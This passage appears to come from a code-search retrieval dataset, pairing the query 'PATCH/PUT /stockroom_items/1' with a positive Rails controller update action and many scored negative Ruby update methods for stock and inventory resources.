"6378bd87bdd4c9be953785fd29fc30cc", "score": "0.64512473", "text": "def turn_right(angle)\n @angle = @angle -angle*Math::PI / 180\n end", "title": "" }, { "docid": "d2c6c89b42c9b200a7c12d1c475dc993", "score": "0.64506215", "text": "def move_upper_left\n unless @direction_fix\n @direction = (@direction == 6 ? 4 : @direction == 2 ? 8 : @direction)\n end\n if (passable?(@x, @y, 8) && passable?(@x, @y - 1, 4)) ||\n (passable?(@x, @y, 4) && passable?(@x - 1, @y, 8))\n move_follower_to_character\n @x -= 1\n @y -= 1\n if @follower && $game_variables[Yuki::Var::FM_Sel_Foll] == 0\n @memorized_move = :move_upper_left\n @follower.direction = @direction\n end\n movement_process_end(true)\n increase_steps\n end\n end", "title": "" }, { "docid": "95d8d514497b0830780d05e686beb052", "score": "0.64288247", "text": "def turn_left\n @shape.body.t -= 300.0\n end", "title": "" }, { "docid": "e7dcc92f24365ea7e3653187444cc48a", "score": "0.6423159", "text": "def walk_right_for(ms)\n behavior = MovementBehavior.create { move_right }\n behavior.at_end { stop_totally }\n behavior.completed_after(ms)\n record_behavior(behavior)\n end", "title": "" }, { "docid": "fb06fc853ef701fa706d8f8d28868e64", "score": "0.6413929", "text": "def right\n cursor.right\n\n refresh\n end", "title": "" }, { "docid": "f4329bede9823e566f3a7c01262b8ba3", "score": "0.6408769", "text": "def right\n self.y = (y+1)%10\n end", "title": "" } ]
2d6661fd4c6aa6b76904a7f876389a12
PATCH/PUT /stockroom_items/1 PATCH/PUT /stockroom_items/1.json
[ { "docid": "5d5b73a44f5fb7a7948e7588ce844a71", "score": "0.721905", "text": "def update\n respond_to do |format|\n if @stockroom_item.update(stockroom_item_params)\n format.html { redirect_to @stockroom_item, notice: 'Item foi atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @stockroom_item }\n else\n format.html { render :edit }\n format.json { render json: @stockroom_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "1b345254a6a1e72b01ba2fb50a96f738", "score": "0.75720537", "text": "def update\n @stocker_item.update(stocker_item_params)\n render json: @stocker_item\n end", "title": "" }, { "docid": "bf474487d511d55243dd4e9f12143690", "score": "0.7026597", "text": "def update\n @update_params = params.require(:stock).permit(:quantity, :minimum)\n\n respond_to do |format|\n if @stock.update(@update_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "196edd31a6d19c4abf648d967bae045f", "score": "0.69704056", "text": "def update\n @stock_item = StockItem.find(params[:id])\n\n respond_to do |format|\n if @stock_item.update_attributes(params[:stock_item])\n format.html { redirect_to @stock_item, notice: 'Stock item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5bf8f3b1edf393fb6efafe6178acc020", "score": "0.6877984", "text": "def update\n render json: @stock.errors unless @stock.update(stock_params)\n end", "title": "" }, { "docid": "4ea0ef8d499ce66f1f94299d3b4e682a", "score": "0.6675145", "text": "def update\n @goods_stock_item = GoodsStockItem.find(params[:id])\n\n respond_to do |format|\n if @goods_stock_item.update_attributes(params[:goods_stock_item])\n format.html { redirect_to @goods_stock_item, notice: 'Goods stock item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @goods_stock_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "72593d4bc8a26c7d0c64cb38fdbdc625", "score": "0.6667874", "text": "def update\n respond_to do |format|\n if @item.update(item_params)\n update_minimum_stock\n format.html { redirect_to @item, notice: 'Produto atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35787b9b2088a54a1de80f71e1799210", "score": "0.66445076", "text": "def update\n @stock = Stock.find(params[:id])\n\n if @stock.update(stock_params)\n head :no_content\n else\n render json: @stock.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "37c92db88e29120bfef1443cc599f2bf", "score": "0.6610041", "text": "def update\n stock = Stock.find_by(id: params[:id])\n if stock.update(status: params[:status], price_purchased: params[:price_purchased] )\n render json: {\n stock_id: stock\n }\n else\n render json: stock.errors, status: :unprocessable\n end\n end", "title": "" }, { "docid": "9164a8a30624531c0614f86770154c00", "score": "0.6601977", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to [:api, @stock], notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "018d552c997063808f51c9668c5461d8", "score": "0.6590032", "text": "def update\r\n @in_stock_item = InStockItem.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @in_stock_item.update_attributes(params[:in_stock_item])\r\n format.html { redirect_to @in_stock_item, notice: 'In stock item was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @in_stock_item.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "556c3c0970d5b9a95c6e28950fcabd9e", "score": "0.6560553", "text": "def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock, notice: 'stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\nend", "title": "" }, { "docid": "c419dde4360baf05e2a1ab32374c1c67", "score": "0.65361977", "text": "def update\n respond_to do |format|\n if @available_stock.update(available_stock_params)\n format.html { redirect_to @available_stock, notice: 'Available stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @available_stock }\n else\n format.html { render :edit }\n format.json { render json: @available_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e71682546dd71bcfb84f2a495750074", "score": "0.65009373", "text": "def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e71682546dd71bcfb84f2a495750074", "score": "0.65009373", "text": "def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e71682546dd71bcfb84f2a495750074", "score": "0.65009373", "text": "def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e71682546dd71bcfb84f2a495750074", "score": "0.65009373", "text": "def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38371a16f0681a6915c62fc3e1a49e15", "score": "0.6500719", "text": "def update\n @stock = Stock.find(params[:id])\n\t\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to stocks_url, :notice => 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @stock.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0b3e2dd07698c29b2101e798c7a8cc5", "score": "0.6495445", "text": "def update\n respond_to do |format|\n if @stocks.update(stocks_params)\n format.html { redirect_to @stocks, notice: 'Stocks was successfully updated.' }\n format.json { render :show, status: :ok, location: @stocks }\n else\n format.html { render :edit }\n format.json { render json: @stocks.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa9dbbc8dc6784bbf125eb597d75f20", "score": "0.6495155", "text": "def update\n if @stock.update(stock_params)\n head :no_content\n end\n end", "title": "" }, { "docid": "0b0ca90ad96be1b57d74c646d65d8967", "score": "0.64924854", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b0ca90ad96be1b57d74c646d65d8967", "score": "0.64924854", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b0ca90ad96be1b57d74c646d65d8967", "score": "0.64924854", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b0ca90ad96be1b57d74c646d65d8967", "score": "0.64924854", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b0ca90ad96be1b57d74c646d65d8967", "score": "0.64924854", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42afffaaf884983aec6bb141143b12ea", "score": "0.6490001", "text": "def set_stockroom_item\n @stockroom_item = StockroomItem.find(params[:id])\n end", "title": "" }, { "docid": "29660a96123a1299f69fb7cbf45106b8", "score": "0.6475462", "text": "def update\n respond_to do |format|\n if @uniform_stock.update(uniform_stock_params)\n format.html { redirect_to @uniform_stock, notice: (t 'uniform_stocks.stock_id')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @uniform_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60068f0f289176a384f1c3fd373ac1fa", "score": "0.6466154", "text": "def update\n @line_item.quantity = params[:quantity]\n @line_item.save\n render json: @line_item\n end", "title": "" }, { "docid": "60968fbb996185547081b48df8350c11", "score": "0.6459609", "text": "def update\n @i_stock = IStock.find(params[:id])\n\n respond_to do |format|\n if @i_stock.update_attributes(params[:i_stock])\n format.html { redirect_to @i_stock, :notice => 'I stock was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @i_stock.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "26fcaf7c8ba1ef680ece9e248bb12e1d", "score": "0.6456654", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to root_path, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c3e2e82ecc78f514152e8c23720b5311", "score": "0.64534086", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n update_format_html(format)\n format.json { head :no_content }\n else\n render_action_or_error(format, 'edit')\n end\n end\n end", "title": "" }, { "docid": "9e7ce090482226b568357192575ed242", "score": "0.64527875", "text": "def update\n respond_to do |format|\n if @uniform_stock_issue.update(uniform_stock_issue_params)\n format.html { redirect_to @uniform_stock_issue, notice: (t 'uniform_stock_issues.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @uniform_stock_issue.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "995dde7c877ed6138655fd715dd8a5b3", "score": "0.6449661", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "995dde7c877ed6138655fd715dd8a5b3", "score": "0.6449661", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "995dde7c877ed6138655fd715dd8a5b3", "score": "0.6449661", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "995dde7c877ed6138655fd715dd8a5b3", "score": "0.6449661", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "995dde7c877ed6138655fd715dd8a5b3", "score": "0.6449661", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "995dde7c877ed6138655fd715dd8a5b3", "score": "0.6449661", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "995dde7c877ed6138655fd715dd8a5b3", "score": "0.6449661", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "995dde7c877ed6138655fd715dd8a5b3", "score": "0.6449661", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "738fd26f866d425e0d7006740cc67f09", "score": "0.6443802", "text": "def update\r\n @stock = Stock.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @stock.update_attributes(params[:stock])\r\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @stock.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "258ca3b623c4da7c4137bb0aef8887ad", "score": "0.6438194", "text": "def update\n respond_to do |format|\n if @update_stock.update(update_stock_params)\n format.html { redirect_to @update_stock, notice: 'Update stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @update_stock }\n else\n format.html { render :edit }\n format.json { render json: @update_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b34fdcd9096bd2b819ea9f3f1765920b", "score": "0.63973355", "text": "def update\n if @item.update(item_params)\n render json: @item\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "508c85ac4bceb6bfdac09a731eacc850", "score": "0.6390531", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "792d5352ab9d3500bfb0b00ed3fbe666", "score": "0.6388811", "text": "def update\n respond_to do |format|\n if @item.update_with_lock(item_params)\n format.html { redirect_to [:admin, @item], notice: I18n.t('helpers.notice.success.update', { model: Item.model_name.human }) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "02bc216f762a242e721daa822bcbedb3", "score": "0.63856244", "text": "def update\n\n @surgery_type.surgery_recipe_reqs\n respond_to do |format|\n if @surgery_type.update(surgery_type_params)\n redirect_to root_path\n else\n format.html { render :edit }\n format.json { render json: @surgery_type.errors, status: :unprocessable_entity }\n end\n end\n # @surgery_type.surgery_recipe_reqs.where(supply_list_id: params[:id]).each do |srr|\n # srr.update!(qty: params[:surgery_recipe_req][:qty])\n # end\n end", "title": "" }, { "docid": "64f057bcf82c68fb96b7daca3e2c3bfb", "score": "0.6385565", "text": "def update\n @grocery_item = GroceryItem.where(\n grocery_list_id: params[:grocery_list_id],\n id: params[:id]\n )\n\n if @grocery_item.update(grocery_item_params)\n render json: @grocery_item\n else\n render json: {\n errors: @grocery_item.errors.full_messages\n },\n status: 404\n end\n end", "title": "" }, { "docid": "da3c3e10667224a3f2001af864bcead4", "score": "0.6385394", "text": "def update\n @order.orderables.each do |orderable|\n update_stock(orderable.item, orderable.quantity, @order.from, @order.to, true)\n end\n respond_to do |format|\n if @order.update(order_params)\n @order.orderables.each do |orderable|\n update_stock(orderable.item, orderable.quantity, @order.from, @order.to)\n end\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3ab9314827068379831b90b6444834e", "score": "0.6381986", "text": "def update\n @item = Item.find(params[:id])\n @item.update_attributes(:part1=>params[:part1],:part2=>params[:part2])\n @item.save\n render :json => @item\n end", "title": "" }, { "docid": "d198c542a80365517fb22a024f43ef57", "score": "0.6363655", "text": "def update\n @outstock_item = OutstockItem.find(params[:id])\n\n respond_to do |format|\n if @outstock_item.update_attributes(params[:outstock_item])\n format.html { redirect_to @outstock_item, notice: 'Outstock item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @outstock_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "96c6965e0464fd3efb405adeca639341", "score": "0.6361454", "text": "def update\n @in_stock = InStock.find(params[:id])\n\n respond_to do |format|\n if @in_stock.update_attributes(params[:in_stock])\n format.html { redirect_to @in_stock, notice: 'In stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @in_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9df77e909babf99582c29a3b748911a6", "score": "0.6360224", "text": "def update\n user_item = UserItem.find(params[:id])\n user_item.update(quantity: user_item_params[:quantity])\n render json: user_item\n end", "title": "" }, { "docid": "abde2a0b1592412eb3dc715448c9ab71", "score": "0.6358981", "text": "def update\n respond_to do |format|\n if @various_stock.update(various_stock_params)\n format.html { redirect_to @various_stock, notice: 'Various stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @various_stock }\n else\n format.html { render :edit }\n format.json { render json: @various_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e586f66aca3c5805a07d859c58bc3d6", "score": "0.63320357", "text": "def update\n respond_to do |format|\n if @stockholder.update(stockholder_params)\n format.html { redirect_to @stockholder, notice: 'Stockholder was successfully updated.' }\n format.json { render :show, status: :ok, location: @stockholder }\n else\n format.html { render :edit }\n format.json { render json: @stockholder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a23746af95230d5352e70f000e6216a", "score": "0.632801", "text": "def update\n respond_to do |format|\n if @sku_stock.update(sku_stock_params)\n format.html { redirect_to @sku_stock, notice: 'Sku stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @sku_stock }\n else\n format.html { render :edit }\n format.json { render json: @sku_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f36c66a7c428aab5242633fa8b1cb3a", "score": "0.6319363", "text": "def update\n respond_to do |format|\n if @invoice_stock.update(invoice_stock_params)\n format.html { redirect_to invoice_stocks_path, notice: 'Invoice stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @invoice_stock }\n else\n format.html { render :edit }\n format.json { render json: @invoice_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e652470b7dd01ed6b56b5a2839c9947", "score": "0.6318386", "text": "def update\n respond_to do |format|\n if @open_item.update(open_item_params)\n format.html { redirect_to @open_item, notice: 'Open item was successfully updated.' }\n format.json { render :show, status: :ok, location: @open_item }\n else\n format.html { render :edit }\n format.json { render json: @open_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2572fb900123dab962d92dfd5cd31505", "score": "0.6318343", "text": "def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend", "title": "" }, { "docid": "aff0bb912fadab997928a35e797f5d5d", "score": "0.6315294", "text": "def update\n # print ingredient_stock_params\n @ingredient_stock.quantity = params[:value]\n @ingredient_stock.save\n respond_to do |format|\n format.json { render :show, status: :ok, location: @ingredient_stock }\n # if @ingredient_stock.update(ingredient_stock_params)\n # format.html { redirect_to @ingredient_stock, notice: 'Ingredient stock was successfully updated.' }\n # format.json { render :show, status: :ok, location: @ingredient_stock }\n #else\n # format.html { render :edit }\n # format.json { render json: @ingredient_stock.errors, status: :unprocessable_entity }\n # end\n end\n end", "title": "" }, { "docid": "9785952c2a1cf052eb9a8a558b186d86", "score": "0.6315257", "text": "def update_item\n @item.title = params[:title]\n @item.deadline = params[:deadline]\n @item.details = params[:details]\n @item.tags = params[:tags]\n @item.save!\n render json: { }\n end", "title": "" }, { "docid": "6d1e2f0082fc139d2a6766bd5a465187", "score": "0.6314487", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n # render 'new'\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e10bea4e1002169d143620ce2b45e6cc", "score": "0.6304063", "text": "def update\n respond_to do |format|\n if @stock_field.update(stock_field_params)\n format.html { redirect_to @stock_field, notice: 'Stock field was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock_field }\n else\n format.html { render :edit }\n format.json { render json: @stock_field.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "75d03fdbd0805d5395d15a9e7f57ed46", "score": "0.63013315", "text": "def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Item ' + Product.find(@stock.product_id).name + ' foi atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2688379acff5892cc229db375c586f3c", "score": "0.6296801", "text": "def update\n @item = @current_vendor.items.visible.find_by_id(params[:id])\n params[:item][:currency] = @current_vendor.currency\n \n @item.attributes = params[:item]\n if @item.save == true\n @item.assign_parts(params[:part_skus])\n @item.item_stocks.update_all :vendor_id => @item.vendor_id, :company_id => @item.company_id\n @item.item_shippers.update_all :vendor_id => @item.vendor_id, :company_id => @item.company_id\n @histories = @item.histories.order(\"created_at DESC\").limit(20)\n redirect_to items_path\n else\n @histories = @item.histories.order(\"created_at DESC\").limit(20)\n render :edit\n end\n end", "title": "" }, { "docid": "7eeed48e7f05f1ef829e83baf9a334f8", "score": "0.62954926", "text": "def update_item(path, body, name)\n resp = session.patch(path, body)\n if resp.is_a?(Net::HTTPOK)\n Chef::Log.info(\"Updated keystone item '#{name}'\")\n else\n raise_error(resp, \"Unable to update item '#{name}'\", \"update_item\")\n end\nend", "title": "" }, { "docid": "819306e86bcedb5a3ae061553867872e", "score": "0.62819135", "text": "def update\n respond_to do |format|\n if @fuel_stock.update(fuel_stock_params)\n format.html { redirect_to @fuel_stock, notice: 'Fuel stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @fuel_stock }\n else\n format.html { render :edit }\n format.json { render json: @fuel_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "945cc7c560412e1707210866f4d0ed93", "score": "0.62812865", "text": "def update\n respond_to do |format|\n if @food_stock.update(food_stock_params)\n format.html { redirect_to @food_stock, notice: 'Food stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @food_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76b00f011b3969ceeb70170078c8ad34", "score": "0.6280191", "text": "def update\n respond_to do |format|\n if @vending_machine_stock.update(vending_machine_stock_params)\n format.html { redirect_to @vending_machine_stock, notice: 'Vending machine stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @vending_machine_stock }\n else\n format.html { render :edit }\n format.json { render json: @vending_machine_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dafe2dbb28603b9ffbb9fd977f8b7853", "score": "0.6279802", "text": "def update\n # Make available size data to associate with stock_item via dropdown menu in form\n @sizes = Size.all\n # Make available product data to associate with stock_item via dropdown menu in form\n @products = Product.where(\"active='t'\")\n\n @stock_item = StockItem.find(params[:id])\n\n respond_to do |format|\n if @stock_item.update_attributes(params[:stock_item])\n format.html { redirect_to(stock_items_url, :notice => 'Stock item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stock_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0886720a82e037d1feaa9397bf1e4d5f", "score": "0.62656796", "text": "def update\n item = Item.find(params[\"id\"])\n item.update_attributes(items_params)\n respond_with item, json: item\n end", "title": "" }, { "docid": "13ea4dc07279f5128c1d7edbd4df91a5", "score": "0.6263513", "text": "def update\n respond_to do |format|\n @product = Product.find(@item.product_id)\n if item_params[:icount] > @item.icount\n @product.stock -= item_params[:icount] - @item.icount\n @product.save\n elsif item_params[:icount] < @item.icount\n @product.stock += @item.icount - item_params[:icount]\n @product.save\n end\n \n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dcce86e7c9e79bd0c4befaee460bc905", "score": "0.6257775", "text": "def update\n @pagetitle = \"Edit restock order\"\n \n @restock = Restock.find(params[:id])\n \n @company = Company.find(@restock[:company_id])\n @suppliers = @company.get_suppliers()\n\n respond_to do |format|\n if @restock.update_attributes(params[:restock])\n @restock.process\n \n format.html { redirect_to(@restock, :notice => 'Restock was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @restock.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "362bd5137728232101d31b6170566387", "score": "0.62484753", "text": "def update\n respond_to do |format|\n if @stock_info.update(stock_info_params)\n format.html { redirect_to @stock_info, notice: 'Stock info was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock_info }\n else\n format.html { render :edit }\n format.json { render json: @stock_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2807557590414e804fefa4c5bd22a063", "score": "0.62446105", "text": "def update\n @clothing_item = ClothingItem.find(params[:id])\n\n respond_to do |format|\n if @clothing_item.update_attributes(params[:clothing_item])\n format.html { redirect_to @clothing_item, notice: 'Clothing item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clothing_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7682ba91b23b875d9af1be96230fa869", "score": "0.6242051", "text": "def update\r\n params[:stock][:version] = ENV[\"VERSION\"]\r\n params[:stock][:username] = current_user.username\r\n @stock = Stock.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @stock.update_attributes(stock_params)\r\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @stock.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "361064e8663894d0b2297b1814766c54", "score": "0.62354577", "text": "def update\n respond_to do |format|\n if @mouvement_stock.update(mouvement_stock_params)\n format.html { redirect_to @mouvement_stock, notice: 'Mouvement stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mouvement_stock.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 